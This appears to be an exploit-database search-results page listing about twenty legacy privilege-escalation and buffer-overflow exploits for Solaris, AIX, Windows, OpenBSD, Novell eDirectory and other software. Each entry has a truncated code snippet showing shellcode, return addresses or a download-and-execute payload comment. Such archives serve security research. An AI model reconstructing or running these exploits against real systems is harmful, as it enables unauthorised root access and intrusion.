7594 matches found
Solaris 7 / 8-beta arp Local Overflow Exploit
No description provided by source. / arp overflow proof of concept by [email protected] shellcode originally written by Cheez Whiz. tested on x86 solaris 7,8beta default should work. if not, arg1 = offset. +- by 100's Copyright Security-Focus.com, 11/2000 / long getesp asm"movl %esp,%eax";...
SquirrelMail chpasswd buffer overflow
No description provided by source. / 0x3142-sq-chpasswd.c Squirremail chpasswd buffer overflow. Tested on SuSE 9. The bug was found by Matias Neiff matias neiff com ar Coded by x314 0x3142 hushmail.com c 2004 Copyright by x314. All Rights Reserved. Greets: m0s krewz. / include stdlib.h char...
Progress Database Server 8.3b (prodb) Local Root Exploit
No description provided by source. / progress database server v8.3b local root compromise. for sco-unix and linux on linux redhat 6.2 and SCOSV scosysv 3.2 5.05 this is just one of it, advisory about the bug discovery grabbed from packetstorm, which was originally found by:...
AIX 5.2 netpmon Local Elevated Privileges Exploit
No description provided by source. / IBM AIX netpmon elevated privileges exploit I just wanted to play with PowerPC Tested on 5.2 intropy intropy at caughq.org / include stdio.h include unistd.h include stdlib.h include string.h define DEBUG 1 define BUFFERSIZE 2048 define EGGSIZE 2048 define NOP...
xtokkaetama 1.0b Local Game Exploit (Red Hat 9.0)
No description provided by source. / xtokkaetama 1.0b local game exploit on Red Hat 9.0 Coded by brahma 31/07/2003 http://www.debian.org/security/2003/dsa-356 / include stdlib.h define RETADDR 0xbfffff11 define DEFAULTBUFFERSIZE 29 define DEFAULTEGGSIZE 512 define NOP 0x90 define BIN...
Seyon Exploit / Tested Version 2.1 rev. 4b i586-Linux
No description provided by source. !/usr/bin/perl c Copyright [email protected] / anno domani 2000 Seyon Exploit / Tested Version 2.1 rev. 4b i586-Linux Tested on: RedHat 4.0/5.1 Greets: scrippie, @HWA, grazer, mixter, pr0ix, s\ http://www.digit-labs.org/ || http://teleh0r.cjb.net/ $shellcode ...
Solaris Runtime Linker (ld.so.1) Buffer Overflow Exploit (SPARC version
No description provided by source. / ld.so.1 exploit SPARC coded by: osker178 bjr213 psu.edu Alright, so this exploits a fairly standard buffer overflow in the default Solaris runtime linker ld.so.1 discovery by Jouko Pynnonen Only real deviation here from the standard overflow and return into li...
MS Windows 2K POSIX Subsystem Privilege Escalation Exploit (MS04-020)
No description provided by source. / Microsoft Windows POSIX Subsystem Local Privilege Escalation Exploit MS04-020 Tested on windows 2k sp4 CN,NT/XP/2003 NOT TESTED Posixexp.c By bkbll bkbll cnhonker net,bkbll tom com www cnhonker com 2004/07/16 thanks to eyas xfocus org C:\whoami VITUALWIN2K\tes...
AIX 5.1 to 5.3 paginit Local Stack Overflow Exploit
No description provided by source. / exploit for /usr/bin/paginit tested on: AIX 5.2 if the exploit fails it's because the shellcode ends up at a different address. use dbx to check, and change RETADDR accordingly. cees-bart ceesb cs ru nl / define RETADDR 0x2ff22c90 char shellcode =...
MS Windows XP (explorer.exe) Buffer Overflow Exploit
No description provided by source. include fstream.h include string.h include stdio.h include windows.h include direct.h char shellcode= //download url and exec shellcode //doesn't have any hardcoded values //except the base address of the program //searches the import table for //LoadLibraryA,...
Novell eDirectory 8.8 NDS Server Remote Stack Overflow Exploit
Exploit for unknown platform in category remote exploits ============================================================== Novell eDirectory 8.8 NDS Server Remote Stack Overflow Exploit ============================================================== !perl "Novell eDirectory 8.8 NDS Server" Remote Sta...
Novell eDirectory 8.8 - NDS Server Remote Stack Overflow
Novell eDirectory 8.8 - NDS Server Remote Stack Overflow !perl "Novell eDirectory 8.8 NDS Server" Remote Stack Overflow Exploit Author: Manuel Santamarina Suarez e-Mail: [email protected] use IO::Socket; destination IP address $ip = '192.168.1.25'; destination TCP port $port = 8028; RETurn addres...
Solaris 2.4 passwd, yppasswd, and nispasswd Overflow Exploits
No description provided by source. ---------------------------- file newpass.c ------------------------------- include stdio.h include syslog.h define hiddenpasswd "/bin/hpasswd" /change here .../ define MAXLENGTH 32 void mainint argc, char argv int i; char args10; ifargc 10 args0=hiddenpasswd;...
SCO Unixware 7.1.3 (ptrace) Local Privilege Escalation Exploit
No description provided by source. / SCO Unixware 7.1.3 ptrace local root exploit ============================================ SCO Unixware 7.1.3 kernel allows unprivledged users to debug binaries. The condition can be exploited by an attacker when he has execute permissions to a file which has t...
OpenBSD 2.x - 3.3 exec_ibcs2_coff_prep_zmagic() Kernel Exploit
No description provided by source. / OpenBSD 2.x - 3.3 / / execibcs2coffprepzmagic kernel stack overflow / / note: ibcs2 binary compatibility with SCO and ISC is enabled / / in the default install / / Copyright Feb 26 2003 Sinan "noir" Eren / / noir olympos org | noir uberhax0r net / / greets to...
QNX RTOS 6.3.0 (phgrafx) Local Buffer Overflow Exploit (x86)
No description provided by source. / [email protected] c 2005, all rights reserved. sample exploit for phgrafx on QNX 6.3.0 x86 tested on: QNX qnx 6.3.0 2004/04/29-21:23:19UTC x86pc x86 / include sys/types.h include stdio.h include stdlib.h include dlfcn.h include unistd.h include err.h...
OpenBSD ftp Exploit (teso)
No description provided by source. / 7350-crocodile - x86/OpenBSD ftp exploit by lorian and scut / TESO=20 TESO CONFIDENTIAL - SOURCE MATERIALS This is unpublished proprietary source code of TESO Security. The contents of these coded instructions, statements and computer programs may not be...
HP-UX 11.0 /bin/cu Privilege Escalation Exploit
No description provided by source. / Copyright c 2001 Zorgon All Rights Reserved The copyright notice above does not evidence any actual or intended publication of such source code. HP-UX /bin/cu exploit. Tested on HP-UX 11.00 [email protected] http://www.nightbird.free.fr / include stdio.h...
Solaris 2.6 / 2.7 /usr/bin/write Local Overflow Exploit
No description provided by source. include stdio.h include unistd.h / /usr/bin/write overflow proof of conecpt. Tested on Solaris 7 x86 Pablo Sor, Buenos Aires, Argentina. 01/2000 [email protected] usage: write-exp shelloffset retaddroffset default offset should work. / long getesp asm"movl...
Xsok v1.02 "-xsokdir" local buffer overflow game exploit
No description provided by source. / 0x333xsok 2 = xsok 1.02 local game exploit Happy new year ! 2 : coded by c0wboy c 0x333 Outsiders Security Labs / www.0x333.org / include stdio.h include unistd.h define BIN "/usr/games/xsok" define RETADD 0xbffffa3c define SIZE 200 unsigned char shellcode = /...